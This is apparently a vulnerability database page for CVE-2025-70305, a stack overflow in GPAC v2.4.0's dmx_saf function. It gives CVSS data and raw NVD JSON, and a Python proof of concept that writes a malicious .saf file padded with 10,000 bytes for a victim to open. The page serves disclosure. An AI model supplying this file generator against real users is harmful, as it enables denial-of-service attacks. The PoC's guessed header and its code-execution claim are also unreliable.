Security Vulnerability Report
中文
CVE-2025-70305 CVSS 5.5 MEDIUM

CVE-2025-70305

Published: 2026-01-15 17:16:06
Last Modified: 2026-01-23 17:35:09

Description

A stack overflow in the dmx_saf function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted .saf file.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:* - VULNERABLE
GPAC v2.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-70305 PoC - GPAC dmx_saf Stack Overflow # Generate malicious .saf file to trigger stack overflow in GPAC v2.4.0 import struct def create_malicious_saf_file(filename, overflow_length=10000): """ Generate a malicious .saf file with oversized payload to trigger stack overflow in dmx_saf function Args: filename: Output .saf file path overflow_length: Length of overflow payload (default: 10000 bytes) """ # SAF file header structure (minimal valid header) saf_header = b'SAF' # Magic bytes saf_header += struct.pack('<I', 1) # Version saf_header += struct.pack('<I', 1) # Number of tracks # Create overflow payload - long string to overflow stack buffer # The actual exploit requires identifying the exact buffer size overflow_payload = b'A' * overflow_length # Construct malicious SAF file with open(filename, 'wb') as f: f.write(saf_header) f.write(overflow_payload) print(f"[+] Malicious .saf file created: {filename}") print(f"[+] Overflow payload length: {overflow_length} bytes") def verify_exploit(): """Verify the exploit conditions""" conditions = { "Target": "GPAC v2.4.0", "Vulnerable Function": "dmx_saf", "Vulnerability": "Stack Overflow", "Attack Vector": "Local (AV:L)", "User Interaction": "Required (UI:R)", "Impact": "Denial of Service / Potential Code Execution" } print("[*] Exploit Conditions:") for key, value in conditions.items(): print(f" {key}: {value}") if __name__ == "__main__": print("[*] CVE-2025-70305 PoC Generator") print("[*] Target: GPAC v2.4.0 dmx_saf Stack Overflow") print() verify_exploit() print() # Generate malicious file output_file = "exploit_CVE-2025-70305.saf" create_malicious_saf_file(output_file, overflow_length=10000) print() print("[!] Usage: Have victim open this .saf file with vulnerable GPAC version")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70305", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:05.980", "lastModified": "2026-01-23T17:35:08.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack overflow in the dmx_saf function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted .saf file."}, {"lang": "es", "value": "Un desbordamiento de pila en la función dmx_saf de GPAC v2.4.0 permite a los atacantes causar una Denegación de Servicio (DoS) mediante un archivo .saf manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "C8D68051-EBCD-445B-A060-EAC407CE2D39"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/gpac_saf/GPAC_SAF.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}